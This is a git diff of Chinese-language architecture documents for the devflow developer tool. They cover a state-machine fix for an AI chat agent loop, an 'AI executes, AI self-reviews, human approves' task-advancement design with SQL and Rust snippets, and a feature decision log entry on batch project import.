||||
│ Streaming │◄────────────────┐
|
||||
│ generating=true │ │
|
||||
│ pending=空 │ │
|
||||
└────────┬────────┘ │
|
||||
│ │
|
||||
┌──────────┼──────────┐ │
|
||||
│ │ │ │
|
||||
有待审批 无工具调用 stop_flag ai_approve
|
||||
│ (收敛) (用户停) (处理完)
|
||||
▼ │ │ │
|
||||
┌──────────────┐ │ ▼ │
|
||||
│AwaitingApproval│ │ ┌─────────┐ │
|
||||
│ generating=true │ │ │ Stopping│ │
|
||||
│ pending非空 │ │ │stop=true│ │
|
||||
└──────┬───────┘ │ └────┬────┘ │
|
||||
│ │ │ │
|
||||
ai_approve │ loop 检查点 │
|
||||
(处理完) │ 退出+复位 │
|
||||
│ │ │ │
|
||||
└───────────┼──────────┼───────────────┘
|
||||
▼ ▼
|
||||
┌────────────────────┐
|
||||
│ Idle │
|
||||
│ generating=false │
|
||||
└────────────────────┘
|
||||
```
|
||||
|
||||
**复位保障**:所有退出路径(实线)由 ① guard 的 Drop 兜底;异常路径(panic/abort,虚线)同样由 Drop 覆盖。② 软复位作为 newConversation 入口的二级防线。
|
||||
|
||||
---
|
||||
|
||||
## 6. 实施计划
|
||||
|
||||
### P0(用户 bug 根治组合,必须同批)
|
||||
|
||||
| # | 项 | 文件 | 依赖 |
|
||||
|---|---|------|------|
|
||||
| B-260615-09 | ① RAII guard 收尾 | agentic.rs | 无(上游) |
|
||||
| B-260615-10 | ② newConversation 软复位(含④策略统一)| commands.rs:451 | 必须配 B-11 |
|
||||
| B-260615-11 | ③ loop 对话一致性校验 | agentic.rs:158 | B-10 配套 |
|
||||
|
||||
**依赖关系**:
|
||||
- ②③ 强耦合(②放开 newConversation 触发③的竞态,单独做②会引入数据污染)→ **捆绑实施**
|
||||
- ① 是②③的上游根治(①修了仍需②③,因 panic 兜底不可能 100% 覆盖 OS 级 abort)→ **三者同批**
|
||||
|
||||
### P1
|
||||
|
||||
| # | 项 | 文件 |
|
||||
|---|---|------|
|
||||
| B-260615-12 | ⑤ session.state() enum 视图(轻量状态机读侧)| mod.rs:97 |
|
||||
| B-260615-13 | ⑥ stop 流式态兜底(复用②复位 helper)| commands.rs:261 |
|
||||
| B-260615-14 | ⑦ stop_flag 换 Notify 即时打断 | stream_recv.rs:148 |
|
||||
|
||||
### P2
|
||||
|
||||
| # | 项 | 文件 |
|
||||
|---|---|------|
|
||||
| B-260615-15 | ⑧ heartbeat interval 提到 loop 外 | stream_recv.rs:138 |
|
||||
| B-260615-16 | ⑨ MAX_AGENT_ITERATIONS 配置化 | agentic.rs:28 |
|
||||
| B-260615-17 | ⑩ key_len 复用 build_provider_for 结果(FR-S1 相关)| agentic.rs:67 |
|
||||
| B-260615-18 | ⑪ pending_approvals 单例+conv_id 路由加注释 | mod.rs:107 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 验证
|
||||
|
||||
### P0 验证(用户 bug 复现 + 根治)
|
||||
|
||||
1. **卡死复现**:构造 panic 场景(如临时在 run_agentic_loop 内 panic)→ 验证 generating 卡 true → newConversation 被拦
|
||||
2. **① guard 兜底**:同上 panic 场景 → guard Drop 复位 generating → newConversation 正常
|
||||
3. **② 软复位**:手动置 generating=true(模拟卡死)→ newConversation 强制复位成功新建
|
||||
4. **③ 一致性**:② 软复位后旧 loop 退出 → 验证不 push 到新对话 messages
|
||||
|
||||
### 回归
|
||||
|
||||
- 正常收敛(无工具调用)→ break → guard 复位 ✅
|
||||
- 审批等待 → pending 非空 → guard 不复位(设计)→ ai_approve → try_continue 续 ✅
|
||||
- stop 流式态 → stop_flag → loop 退出 → guard 复位 ✅
|
||||
- stop 审批态 → 直接清 pending + 复位 ✅
|
||||
|
||||
---
|
||||
|
||||
## 8. 取舍 / 未做
|
||||
|
||||
| 项 | 决策 | 理由 |
|
||||
|----|------|------|
|
||||
| 独立状态机框架 | **不做** | 过度封装,轻量方案(guard+视图)功能等价 |
|
||||
| enum 字段替换 bool | **不做** | 改字段+所有读写点,大改;视图方法够用 |
|
||||
| stop_flag 转 enum | **不做** | 跨锁信号必须 AtomicBool,enum 锁内无法替代 |
|
||||
| panic 100% 兜底 | **不可能** | OS 级 abort(OOM kill)guard 抓不到,②软复位兜底 |
|
||||
| 命令黑名单/资源限制 | **不做**(run_command 安全边界)| 属 B/C/D 方案领域,A 方案靠人审 |
|
||||
|
||||
---
|
||||
|
||||
## 相关文档
|
||||
|
||||
- [df-ai AI 集成模块](../03-模块文档/df-ai-AI集成模块-2026-06-12.md)
|
||||
- [aichat 审查报告-2026-06-14](./aichat审查报告-2026-06-14.md)
|
||||
- [流式 Markdown 渲染调研-2026-06-15](./aichat流式Markdown渲染调研-2026-06-15.md)
|
||||
344
docs/02-架构设计/任务推进构想-2026-06-14.md
Normal file
344
docs/02-架构设计/任务推进构想-2026-06-14.md
Normal file
@@ -0,0 +1,344 @@
|
||||
# 构想: 任务推进全局设计(AI-First 推进链) — 2026-06-14
|
||||
|
||||
> 性质: 架构设计 / 实现方案
|
||||
> 关联: df-workflow · AiNode/HumanNode · knowledge 状态机范式 · devflow AI-First 定位(kms/devflow_ai_first_model.html)
|
||||
> 修订:
|
||||
> - 多角度对抗论证收敛(kind/状态机不抽层/范围精简)
|
||||
> - 对抗性验证升级(5 维度:收口/并发/崩溃/一致性/前端)
|
||||
> - **AI-First 定位确认**:任务由 AI 执行→AI 自审→人工最终核对(人从操作者转为审批者)
|
||||
|
||||
---
|
||||
|
||||
## 定位:AI-First 推进链(核心转向)
|
||||
|
||||
devflow 是 AI-First 工具。任务推进**不是人点按钮的操作流,是 AI 的执行流**:
|
||||
|
||||
```
|
||||
todo ──AI执行──▶ in_progress ──AI自审──▶ review_ready ──人工核对──▶ done
|
||||
AiNode AiNode HumanNode
|
||||
AI 干活 AI 审 AI 的活 人最终把关 AI 产出
|
||||
```
|
||||
|
||||
- **AI 执行**:任务内容由 AI 干(写代码、改文件、跑测试)。干完自动推进,人不必手动点「开始」。
|
||||
- **AI 自审**:AI 审 AI 自己的产出(code review,结构化结论)。审过推进,审出问题退回重做。
|
||||
- **人工最终核对**:人在 merge 关卡最终把关 AI 产出。**这是 AI-First 的核心契约——人监督 AI**,不是人确认自己的活。
|
||||
|
||||
**advance_task 的默认触发者从「人」变成「AI」**(执行/自审完成事件触发),人可介入/覆盖/微调。人从「操作者」转为「审批者」。
|
||||
|
||||
### 这修复了对抗验证的 merge 零因果批评
|
||||
|
||||
对抗验证 Agent 4 批评「单人场景 merge 审批零因果——自审自批≈手切」。**AI 执行 + 人工核对**正好修复:merge 不再是人确认自己的活,而是**人监督 AI 的活**——从形式主义升级为实质关卡。
|
||||
|
||||
---
|
||||
|
||||
## 背景
|
||||
|
||||
项目管理任务维护目前**只能创建,不能推进**——前端状态标签纯展示无入口。根因缺「推进编排层」:状态字段、工作流引擎、分支表、状态机范式各干各的,且**完全缺 AI 执行层**。
|
||||
|
||||
## 痛点
|
||||
|
||||
| 已有能力 | 位置 | 现状 |
|
||||
|---|---|---|
|
||||
| 任务状态字段(裸 String,无值域校验) | `models.rs:52` | 无状态机、无联动、前端不暴露 |
|
||||
| 工作流引擎(ScriptNode/HumanNode/**AiNode**) | `df-workflow/*` + `df-nodes/*` | 三种节点现成,AiNode 注释明示设计意图「AI 分析→人工审批」,但推进链没用上 |
|
||||
| 分支表状态 | `models.rs:69` | 语义同构,未联动 |
|
||||
| 状态机范式 | `knowledge.rs:53` | 只在 knowledge 用 |
|
||||
| **AI 执行能力** | `df-ai` provider + `ai_node.rs` | AiNode 通用 LLM 调用现成;agent 级「写代码改文件」能力渐进 |
|
||||
|
||||
---
|
||||
|
||||
## 核心模型:AI-First 推进链 + 状态机
|
||||
|
||||
### 状态机(AI 推进 + 退回 + 旁路)
|
||||
|
||||
```
|
||||
AI执行闸门 AI自审闸门 人工核对闸门
|
||||
todo ───────────▶ in_progress ──────────▶ review_ready ──────────▶ done
|
||||
▲ │ │
|
||||
└── AI自审block/人工拒绝 ┘ │ (AI 重做)
|
||||
▼
|
||||
abandoned (任意态可放弃,终态不可逆)
|
||||
```
|
||||
|
||||
**退回边** `review_ready → in_progress`:AI 自审 block 或人工拒绝 → 退回让 AI 重做。AI 推进下退回比人推进更频繁(AI 反复审自己),故 loop 管理必要。
|
||||
|
||||
### 闸门策略(三闸门各司其职,都必需)
|
||||
|
||||
| 边 | 闸门 | 节点 | 阶段一 | 阶段二 |
|
||||
|---|---|---|---|---|
|
||||
| `start` | **AI 执行** | AiNode/agent | ✅ 必需(最小形态) | + git worktree(code kind) |
|
||||
| `ready` | **AI 自审** | AiNode | ✅ 必需 | + lint/test 真校验 |
|
||||
| `merge` | **人工核对** | HumanNode | ✅ 必需(人监督 AI) | + git merge 副作用 |
|
||||
| `abandon` | 无 | — | 直接转 | 直接转 |
|
||||
|
||||
三闸门都必需(不再是「merge 强制 + start/ready 关闭」)——AI 推进链上每环都有节点把关。
|
||||
|
||||
### ⚠️ 失败路径定义(含 AI 执行/自审失败)
|
||||
|
||||
| 失败场景 | 工作流结果 | 任务状态 | 反馈 |
|
||||
|---|---|---|---|
|
||||
| **AI 执行失败**(agent 报错/超时) | failed | 保持 todo | 「AI 执行失败:<错误>」,人可重试或介入手干 |
|
||||
| **AI 自审 block**(审出严重问题) | failed | **退回 in_progress**(AI 重做) | 「AI 自审未通过:<问题清单>」 |
|
||||
| **AI 自审 warn**(轻微问题) | completed(带警告) | 推进到 review_ready | 警告附在任务上,人核对时可见 |
|
||||
| **人工拒绝** | failed | **退回 in_progress**(AI 重做) | 「人工核对未通过:<意见>」 |
|
||||
| **闸门脚本失败**(阶段二 lint/test) | failed | 保持推进前 | 「闸门失败」 |
|
||||
| **审批超时/取消** | failed/Err | 保持推进前 | 「超时/已取消」 |
|
||||
| **应用崩溃** | running 孤儿 | 保持推进前,可重新推进 | 启动提示「检测到中断的推进」 |
|
||||
|
||||
**关键**:AI 自审/人工核对的「拒绝/block」→ 退回 in_progress 让 AI 重做(不是退回给人干——AI-First 下人是审批者不是执行者)。
|
||||
|
||||
### AI 自审结果处理(建议性 vs 强制)
|
||||
|
||||
AiNode 输出纯文本,要判通过与否得约定结构化输出 + 解析:
|
||||
|
||||
```json
|
||||
{ "verdict": "pass" | "warn" | "block", "issues": [...], "summary": "..." }
|
||||
```
|
||||
|
||||
- `pass`:推进;`warn`:推进但带警告;`block`:退回 in_progress
|
||||
- 默认 AI 自审走 verdict 判定(非纯建议),否则 AI 推进链断在人审前
|
||||
- 人审(merge)仍是最终关卡,可覆盖 AI 自审结论
|
||||
|
||||
---
|
||||
|
||||
## AI 执行层(新增,核心缺口)
|
||||
|
||||
任务内容由谁干——这是原方案的最大盲区。AI-First 下由 AI 执行。
|
||||
|
||||
### 实现形态
|
||||
|
||||
- **AiNode/agent 执行**:start 闸门触发 AiNode(或更复杂的 agent 编排)干活——读任务描述 + 项目上下文 → 写代码/改文件/跑测试 → 产出 diff
|
||||
- **执行能力渐进**:阶段一最小形态(AiNode 跑执行 prompt / 接现有 AI 工具链),阶段二+ 逐步增强(agent 多步、文件操作、git worktree 内执行)
|
||||
- **执行产出**:代码 diff / 文件变更 / 测试结果,供下游 AI 自审节点消费
|
||||
|
||||
### advance_task 触发者变更
|
||||
|
||||
- **默认**:AI 执行完成事件 → 自动触发 advance_task(start→推进)
|
||||
- AI 自审完成 → 触发 advance_task(ready→推进或退回)
|
||||
- 人工核对完成 → 触发 advance_task(merge→done)
|
||||
- **人可介入**:任何节点人能手动推进/覆盖/接手(人转手干)
|
||||
|
||||
---
|
||||
|
||||
## 【P0】状态机收口(对抗验证最高优先级)
|
||||
|
||||
### 致命漏洞:update_task 是公开旁路
|
||||
|
||||
`task.rs:74` update_task 白名单含 `"status"`(`crud.rs:291`),任意调用方一行绕过所有闸门和状态机。且 `crud tests:249` 单测固化旁路。AI 推进下更危险——AI agent 若能调 update_task 改 status,整个 AI 执行/自审/核对链形同虚设。
|
||||
|
||||
### 收口措施
|
||||
|
||||
1. 从 tasks 白名单**移除 `"status"`**
|
||||
2. **advance_task 成为 status 唯一写入路径**(AI 触发也走它)
|
||||
3. 删除/改写 `update_field_allows_tasks_status` 单测
|
||||
4. advance_task 内联 `validate_task_status` 值域校验
|
||||
|
||||
---
|
||||
|
||||
## 状态集清理(非「定稿」)
|
||||
|
||||
对抗验证纠误:前端早已 5 态,后端 enum 多 3 个僵尸死状态(InReview/Testing/Blocked 零使用)。是「清理僵尸」非「7→5 定稿」。
|
||||
|
||||
措施:删后端 enum 死状态 + `merged→done` 改名 + 迁移前抽样 + status 值域校验。
|
||||
|
||||
```sql
|
||||
-- 迁移(幂等,conn.transaction() 包裹)
|
||||
UPDATE tasks SET status='done' WHERE status='merged';
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 任务类型:阶段一不加 kind
|
||||
|
||||
对抗验证:阶段一 code/generic 行为零差异,违反 YAGNI。阶段二 git 联动需要区分时再加 kind(ALTER + 回填 generic)。`tags` 保留承担语义标注(doc/design)。
|
||||
|
||||
**AI 推进下的 kind 意义**:阶段二+ AI 执行内容按 kind 分化(code 任务 AI 写代码、doc 任务 AI 写文档、design 任务 AI 出图)。阶段一 AI 执行最小形态不区分,随能力增强再分。
|
||||
|
||||
---
|
||||
|
||||
## 状态机实现:不抽层 + 下沉 SQL
|
||||
|
||||
enum 补 `can_transition_to`(不新建 state_machine.rs,knowledge validate_transition 源码验证是空壳):
|
||||
|
||||
```rust
|
||||
impl TaskStatus {
|
||||
pub fn can_transition_to(&self, to: &TaskStatus) -> bool {
|
||||
match (self, to) {
|
||||
(Todo, InProgress | Abandoned) => true,
|
||||
(InProgress, ReviewReady | Abandoned) => true,
|
||||
(ReviewReady, Done | Abandoned | InProgress) => true, // 可退回(AI 重做)
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**状态机下沉 SQL**(TOCTOU 根治):advance_task 的校验+写入合并为带前置条件的 UPDATE:
|
||||
|
||||
```sql
|
||||
UPDATE tasks SET status=:new, updated_at=:now
|
||||
WHERE id=:id AND status=:expected -- affected_rows==0 即状态已变,拒绝
|
||||
```
|
||||
|
||||
终态保护:`AND status NOT IN ('done','abandoned')`。
|
||||
|
||||
---
|
||||
|
||||
## loop 管理(AI 推进下必需)
|
||||
|
||||
AI 自审/人工核对退回 → AI 重做 → 再审 → 可能反复。加 `review_rounds: i32` 计数,退回时 +1:
|
||||
|
||||
- 任务卡显示「第 N 轮 review」(迭代可见性)
|
||||
- 可选:轮数过高提示「是否卡住」(不强制终止——单人/AI 决定何时 done)
|
||||
- 强制终止/阈值不做(over-engineering)
|
||||
|
||||
---
|
||||
|
||||
## 并发与一致性护栏(对抗验证新增)
|
||||
|
||||
AI 推进下并发更常见(多个任务并行 AI 执行)。护栏不变:
|
||||
|
||||
1. **per-task 互斥锁**:`task_locks: Arc<Mutex<HashMap<String, Arc<Mutex<()>>>>>`
|
||||
2. **闸门工作流去重**:起 run_workflow 前查 running/interrupted 工作流
|
||||
3. **WorkflowEvent 加 execution_id** + 转发过滤(防多任务事件串台)
|
||||
4. **审批请求带 task_id**(task_id + execution_id + node_id 三元组)
|
||||
|
||||
---
|
||||
|
||||
## 数据一致性:跨表事务
|
||||
|
||||
`crud.rs` 无跨表事务,advance_task 多表写(task.status + workflow.status + 阶段二 branches/projects)半成品无法回滚。promote_idea 补偿范式不适用更新型。
|
||||
|
||||
措施:**补 `Database.transaction()`**(OwnedTransaction),advance_task 事务内提交。迁移幂等(column_exists + WHERE + conn.transaction 包裹)。tags 写入校验。
|
||||
|
||||
---
|
||||
|
||||
## 崩溃恢复(对抗验证新增,AI 推进下更关键)
|
||||
|
||||
AI 执行/自审是长时异步过程,崩溃恢复更关键:
|
||||
|
||||
1. **启动孤儿清理**:`UPDATE workflow_executions SET status='interrupted' WHERE status='running'`
|
||||
2. **审批请求持久化**:HumanNode 阻塞前落库(node_executions status='pending'),启动恢复
|
||||
3. **AI 执行状态持久化**:AI 执行(长时)需 checkpoint,崩溃后能恢复或安全重做(阶段二+)
|
||||
4. **审批拒绝语义化**:HumanNode/AiNode 区分同意/拒绝/block,拒绝走失败路径不当 Ok
|
||||
5. **重复触发守卫**:advance_task 入口检查 running/interrupted 工作流
|
||||
|
||||
---
|
||||
|
||||
## 前端改造(对抗验证新增 + AI 推进适配)
|
||||
|
||||
1. **pendingApprovals 数组化**(按 execution_id 索引)
|
||||
2. **liveEvents 按 task 路由**:event payload 加 task_id,store 改 liveEventsByTask
|
||||
3. **任务卡 AI 推进可视化**:显示当前在哪个环节(AI 执行中/AI 自审中/待人工核对/第 N 轮)
|
||||
4. **按钮防重入**:advancingTaskIds: Set
|
||||
5. **确认式更新**:等 IPC/workflow 事件再刷 task,非乐观更新
|
||||
6. **AI 产出展示**:AI 执行的 diff、AI 自审的意见清单,供人核对时查看
|
||||
7. **统一错误桥接**:全局 watch state.error → Message.error
|
||||
8. **回调判定**:run_workflow 完成回调 advance_task 条件 `task_id.is_some()`
|
||||
|
||||
---
|
||||
|
||||
## 两阶段落地
|
||||
|
||||
### 阶段一:AI-First 推进链 + 工程护栏
|
||||
|
||||
**推进链**:
|
||||
- 状态集清理(删僵尸 + merged→done)+ enum 补 can_transition_to
|
||||
- **状态机收口**(移除 status 白名单 + advance_task 唯一入口 + 值域校验)← P0
|
||||
- advance_task + 状态机下沉 SQL + on_task_advanced 空钩子
|
||||
- **AI 执行闸门**(AiNode 最小形态)+ **AI 自审闸门**(AiNode 结构化 verdict)+ **人工核对闸门**(HumanNode)
|
||||
- **失败路径定义**(AI 执行失败/AI 自审 block/人工拒绝→退回重做)
|
||||
- **loop 管理**(review_rounds 计数)
|
||||
- per-task 锁 + 闸门去重、跨表事务、WorkflowEvent 加 execution_id、启动孤儿清理 + 审批持久化
|
||||
- WorkflowRecord 填值 + event payload 加 task_id
|
||||
- 前端:pendingApprovals/liveEventsByTask/advancingTaskIds/确认式更新/AI 推进可视化
|
||||
|
||||
**触发者**:advance_task 支持 AI 事件触发 + 人手动介入双通道。
|
||||
|
||||
### 阶段二:Git + 联动 + AI 执行增强
|
||||
|
||||
- 加 kind 字段;code kind 闸门脚本换 git 命令串;start/ready 接真 git/lint/test
|
||||
- AI 执行增强(agent 多步、worktree 内执行、文件操作)
|
||||
- 填 on_task_advanced:分支联动 + 项目 completed(含边界守卫)
|
||||
- BranchRecord 加 worktree_path
|
||||
|
||||
### Git 集成:直接外部命令
|
||||
|
||||
git 是 ScriptNode/AiNode 一串命令,不特殊化。不建 worktree.rs/df-git crate;不做 git 检测框架。硬依赖 git ≥2.20。非 code 任务不依赖 git。
|
||||
|
||||
### 联动策略
|
||||
|
||||
阶段一剥离分支联动和项目 completed(~90 行 + 边界漏洞),阶段二填钩子返工 <30 行。
|
||||
|
||||
---
|
||||
|
||||
## 落地改动点(阶段一,按优先级)
|
||||
|
||||
| 级 | # | 文件 | 改动 |
|
||||
|---|---|---|---|
|
||||
| **P0** | 1 | `crud.rs`+`task.rs` | 移除 status 白名单 + advance_task 唯一入口 + 值域校验 + 改单测 |
|
||||
| **P0** | 2 | `task.rs` | advance_task + 状态机下沉 SQL + on_task_advanced 空钩子 + **支持 AI 事件触发** |
|
||||
| **P0** | 3 | 闸门 DAG 模板 | **AI 执行(AiNode)+ AI 自审(AiNode verdict)+ 人工核对(HumanNode)三闸门** |
|
||||
| **P0** | 4 | `human_node.rs`+`ai_node.rs`+`executor.rs` | **审批/自审拒绝语义化**(block/拒绝走失败路径不当 Ok) |
|
||||
| **P1** | 5 | `task.rs`/`models.rs` | **review_rounds 计数**(退回 +1) |
|
||||
| **P1** | 6 | `state.rs` | per-task 锁 + 闸门去重 |
|
||||
| **P1** | 7 | `db.rs`/`crud.rs` | 补 Database.transaction() + 事务包裹 |
|
||||
| **P1** | 8 | `events.rs`+`workflow.rs` | WorkflowEvent 加 execution_id + 转发过滤 |
|
||||
| **P1** | 9 | `state.rs` init | 启动孤儿清理 + 审批持久化恢复 |
|
||||
| **P1** | 10 | `types.rs` | 删 enum 僵尸 + 补 can_transition_to |
|
||||
| **P1** | 11 | 迁移 | merged→done(幂等 + 事务)|
|
||||
| **P1** | 12 | `workflow.rs` | run_workflow 加 task_id/project_id + event payload 加 task_id + 完成回调 |
|
||||
| **P1** | 13 | `models.rs` | TaskRecord 加 tags(kind 推阶段二)+ review_rounds + 白名单 |
|
||||
| **P1** | 14 | 前端 `project.ts`/vue | pendingApprovals 数组 + liveEventsByTask + advancingTaskIds + 确认式更新 + **AI 推进环节可视化** + **AI 产出/diff 展示** |
|
||||
| **P2** | 15 | `constants`+i18n | merged→done 键名 + tags + review_rounds 文案 + AI 环节文案 |
|
||||
| **P2** | 16 | `project.ts` | 全局 error 桥接 |
|
||||
|
||||
---
|
||||
|
||||
## 决策护栏(触发反转条件)
|
||||
|
||||
| 决策 | 反转条件 |
|
||||
|---|---|
|
||||
| AI-First 推进(AI 执行→自审→人核对) | AI 执行能力长期不足/不可靠 → 退回人执行 + AI 辅助审 |
|
||||
| 阶段一不加 kind | 阶段二 doc/design 真要 AI 执行不同内容;或按 kind 统计 |
|
||||
| 状态机不抽层 | 第三处状态机需统一审计 |
|
||||
| 阶段一剥离联动 | 用户验收反馈「想看到项目自动完成」 |
|
||||
| 不提前集成 git | worktree 异常恢复需 Rust 逻辑 |
|
||||
| 状态机收口 | 出现「需批量脚本直接改 status」运维场景 → 另开受控入口 |
|
||||
| AI 自审走 verdict 判定(非纯建议) | AI 自审误判率高 → 降级为建议性,人审全权 |
|
||||
|
||||
---
|
||||
|
||||
## 决策清单(人定取舍 · why)
|
||||
|
||||
| # | 决策 | 否决备选 | why |
|
||||
|---|---|---|---|
|
||||
| 1 | **AI-First 推进链**(AI 执行→AI 自审→人工核对) | 人点按钮推进 | devflow 是 AI-First 工具,任务是 AI 的执行流非人的操作流 |
|
||||
| 2 | **advance_task 默认 AI 触发**,人可介入 | 仅人触发 | AI 执行/自审完成自动推进;人转审批者 |
|
||||
| 3 | **AI 自审走 verdict 判定**(pass/warn/block) | 纯建议 | AI 推进链需 AI 自审能阻断,否则断在人审前 |
|
||||
| 4 | **人工核对 = 人监督 AI**(非自审自批) | 人确认自己的活 | 修复 merge 零因果;AI-First 核心契约 |
|
||||
| 5 | **拒绝/block → 退回 AI 重做**(非退回人干) | 退回人执行 | AI-First 下人是审批者不是执行者 |
|
||||
| 6 | **loop 管理 review_rounds**(AI 推进必需) | 无计数 | AI 反复审自己,循环比人推进频繁 |
|
||||
| 7 | 状态机收口(移除 update_task status) | 保留旁路 | 对抗验证:旁路让状态机形同虚设,AI 推进下更危险 |
|
||||
| 8 | 阶段一不加 kind,阶段二再加 | 阶段一二分 | 对抗验证:阶段一零行为差异 |
|
||||
| 9 | 状态机不抽层,enum 补方法 | 抽通用层 | 源码验证空壳 |
|
||||
| 10 | 状态机下沉 SQL(WHERE 前置) | 纯内存校验 | 对抗验证:根治 TOCTOU |
|
||||
| 11 | 失败路径全覆盖(含 AI 执行/自审失败) | 只描述快乐路径 | 对抗验证:拒绝被当成功是语义反转 |
|
||||
| 12 | 补跨表事务 | 无事务多写 | 对抗验证:半成品无法回滚 |
|
||||
| 13 | 崩溃恢复(孤儿清理+审批持久化+AI 执行 checkpoint) | 纯内存 | AI 执行长时异步,崩溃恢复更关键 |
|
||||
| 14 | WorkflowEvent 加 execution_id | 全局单通道 | 对抗验证:多任务事件串台 |
|
||||
| 15 | 状态集清理后端僵尸(非 7→5 定稿) | 当作待决策 | 对抗验证:前端早已 5 态 |
|
||||
| 16 | 闸门三必需(AI执行/AI自审/人工核对) | merge 强制+其余关 | AI 推进链每环都有节点把关 |
|
||||
| 17 | 阶段一剥离联动 | 顺带联动 | ~90 行+边界漏洞 |
|
||||
| 18 | 预留 on_task_advanced 钩子 | 不预留 | 阶段二补是挂插件 |
|
||||
| 19 | git=闸门脚本调外部命令 | worktree.rs/df-git crate | YAGNI |
|
||||
| 20 | merged→done(迁移) | 文案分流 | 命名中性化 |
|
||||
| 21 | 前端 pendingApprovals 数组 + 确认式更新 + AI 环节可视化 | 单值/乐观 | 对抗验证:多任务并发;AI 推进需环节可见 |
|
||||
|
||||
---
|
||||
|
||||
## 演进记录
|
||||
|
||||
1. **多角度论证收敛**:kind 二分、状态机不抽层、阶段一范围精简、闸门策略
|
||||
2. **对抗性验证升级(5 维度)**:状态机收口/并发/崩溃恢复/一致性/前端——挖出 P0 致命项(旁路、审批拒绝=成功、TOCTOU、纯内存)
|
||||
3. **AI-First 定位确认**:任务由 AI 执行→AI 自审→人工最终核对。补执行层(原方案最大盲区),advance_task 触发者改 AI,AI 审/loop 升必需,merge 升级为「人监督 AI」实质关卡
|
||||
@@ -1,6 +1,6 @@
|
||||
# 功能决策记录
|
||||
|
||||
> 日常开发中对各功能做的**需求规格 + 设计决策规格**(功能粒度,补 [Phase 1 架构决策](./Phase1架构决策.md) 之下的实现层选择)。聚焦「要做什么 / 为什么这么定」,便于日后回溯。
|
||||
> 日常开发中对各功能做的**需求规格 + 设计决策规格**(功能粒度,补 [Phase 1 架构决策](./Phase1架构决策-2026-06-12.md) 之下的实现层选择)。聚焦「要做什么 / 为什么这么定」,便于日后回溯。
|
||||
>
|
||||
> 创建:2026-06-12 | 范围:Sprint 5–10 | 维护:随开发追加
|
||||
|
||||
@@ -12,10 +12,10 @@
|
||||
- **设计决策规格**(✅ 已落地 / 🚧 待实测 / 📐 设计未实施)——「为什么这么定」。三要素:决策 → 原因/取舍 → 状态。来源标 `[Sprint N]` 或 `[日期]`。
|
||||
- **需求规格 / 待办**(📋)——「要做什么 / 为什么需要」。与 PROGRESS 流水区分:这里记「要做什么 / 为什么需要」,PROGRESS 记「做了啥」。
|
||||
|
||||
**经验性内容**(踩坑 / 约定 / 技巧 / bug 排查教训)→ [经验记录.md](./经验记录.md)。
|
||||
**老条 / 纯流水 / UX 微调 / 已被取代** → [功能决策记录-归档.md](./功能决策记录-归档.md)。
|
||||
**经验性内容**(踩坑 / 约定 / 技巧 / bug 排查教训)→ [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)。
|
||||
**老条 / 纯流水 / UX 微调 / 已被取代** → [功能决策记录-归档-2026-06-14.md](./功能决策记录-归档-2026-06-14.md)。
|
||||
|
||||
记录规则见 [文档记录规范](./文档记录规范.md)。
|
||||
记录规则见 [文档记录规范](./文档记录规范-2026-06-14.md)。
|
||||
|
||||
## 人机协同设计基准
|
||||
|
||||
@@ -198,11 +198,28 @@
|
||||
- **原因/取舍**:① 规则兜底保证 LLM 不稳定时仍有基础信息,LLM 只补规则搞不定的摘要。② 采样与 LLM 分层——采样纯 IO 属 df-project 职责可复用,LLM 调用依赖 df-ai,放 commands 使 df-project 保持无 LLM 依赖(防循环)。③ 不读源码控 token+隐私。④ 结果预览让用户把关防 LLM 瞎编。
|
||||
- **状态**:✅ 2026-06-14 落地(scan_project_with_ai 命令 + 前端 AI 扫描预览;编译/单测/类型全绿)。
|
||||
|
||||
### 导入历史项目(scan 第二步)设计:description 走 LLM + 采样保留内容图 + monorepo 一层 + 批量并发 [2026-06-14]
|
||||
- **决策**:F-06 = scan 第二步,选根目录 → 发现项目(含 monorepo 子目录)→ 勾选批量导入。六点收敛:① **description 走 LLM** 复用 `scan_project_with_ai`(command 层 complete),**不做纯规则抽取**(跨 README 格式 brittle);② **采样改进**——`ProjectSample` 扩 `images: Vec<ImageRef{alt,src}>`,`readme` 剥 frontmatter/TOC/纯徽章行后截 ~8KB(原 `SAMPLE_README_MAX=2000` 偏小粗暴),**保留内容图 markdown 原样**;③ **image 多模态条件化**——当前 `ChatMessage.content:String`(F-260614-05 未做)走纯文本降级,采样层先不丢 image 引用留接口,Phase 2 上线后读 base64 喂 vision;④ **monorepo 一层识别**(`is_monorepo` 检 pnpm-workspace/lerna/turbo/nx + package.json workspaces;`discover_projects` 展开 packages/\*/apps/\* 直接子目录,`detect_stack` 空的过滤);⑤ **批量流程**——`scan_directory_for_projects` 规则发现(快、不跑 LLM)+ 标已绑定项;用户勾选后 `import_projects_batch` 对勾选项**并发** LLM 抽 description(`llm_concurrency` 双层 permit 限流)+ 复用绑定入库,非原子逐项独立;⑥ **对称改进**——抽内部 `create_with_binding`(create_project + import batch 共用「校验+防重+探测+insert」),缓解决策记录:211 TODO,relocate 不并入(update 非 insert)。
|
||||
- **原因/取舍**:① description 纯规则抽首段会撞徽章墙/多语言引导/TOC——抽出来是噪音,语义抽取归 LLM;② **image 不能粗暴跳过**(修正原 plan 错把 image 归噪音)——架构图/截图是 description 关键信息,一张顶千字,只跳徽章(shields.io/badge.fury 等域 + build/version/license/coverage 关键词);③ 采样不丢 image = F-06 不被 F-260614-05 阻塞但不留遗憾,两者配套;④ 批量只对勾选项跑 LLM(远少于发现全量)平衡速度质量;⑤ 「子代理」= 轻量 complete 复用现有 `scan_project_with_ai` 路径,非 aichat ReAct 重 agent(批量精修不值得上多轮)。
|
||||
- **边界**:导入项目 status 默认 `planning`(对齐 create_project,导入后手改);预览表格只读(name/desc/stack/已绑定标记,不展示 image),导入后详情页改;不关联 idea;批量无实时进度条,最终 toast 汇总(导入 N/跳过 M);LLM 全失败 description 留空让用户手填(不喂噪音)。
|
||||
- **状态**:📐 2026-06-14 设计定稿待实施(6 决策经 3 轮讨论收敛,修正原 plan 两处草率:纯规则 description + 跳 image)。📋 实现时:df-project 加 `discover_projects`/`is_monorepo` + `collect_sample` 扩 images + 徽章过滤;commands 加 `scan_directory_for_projects`/`import_projects_batch` + 抽 `create_with_binding`;前端 Projects.vue 加导入 modal + i18n;scan.rs 单测(采样剥噪音/image 收集/monorepo/discover)。
|
||||
|
||||
